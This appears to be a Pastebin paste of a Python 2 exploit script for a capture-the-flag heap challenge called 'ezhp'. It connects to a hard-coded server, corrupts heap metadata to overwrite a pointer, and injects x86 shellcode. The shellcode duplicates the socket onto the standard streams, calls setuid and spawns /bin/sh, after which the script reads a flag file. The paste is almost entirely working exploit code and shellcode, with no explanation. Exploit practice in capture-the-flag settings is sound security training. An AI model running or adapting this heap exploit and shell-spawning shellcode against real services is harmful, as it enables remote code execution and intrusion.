Guest User

Untitled

a guest
Apr 14th, 2014
338
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import socket
  2. import struct
  3. def send_recv_until(sock, senddata, keyword):
  4. sock.send(senddata)
  5. msg = ""
  6. while 1:
  7. tmp = sock.recv(1024)
  8. msg += tmp
  9. if keyword in msg:
  10. break
  11. return msg
  12. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  13. sock.connect(('54.81.149.239', 9174))
  14. send_recv_until(sock, "1\n1\n", "option")
  15. send_recv_until(sock, "1\n108\n", "option")
  16. send_recv_until(sock, "1\n1\n", "option")
  17. send_recv_until(sock, "3\n1\n128\n", "data")
  18. send_recv_until(sock, "Q"*(120+4)+struct.pack('<I', 0x804a010-8), "option")
  19. send_recv_until(sock, "2\n2\n", "option")
  20. send_recv_until(sock, "3\n0\n140\n", "data")
  21. send_recv_until(sock, "L"*54+"\x31\xc0\x31\xdb\x31\xc9\xb3\x04\xb1\x03\xb0\x3f\xfe\xc9\xcd\x80\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"+"\n", "option")
  22. send_recv_until(sock, "4\n0\n", "option")
  23. sock.send("6\n")
  24. sock.send("cat /home/ezhp/flag.txt\n")
  25. print sock.recv(2048)
  26. print sock.recv(2048)
RAW Paste Data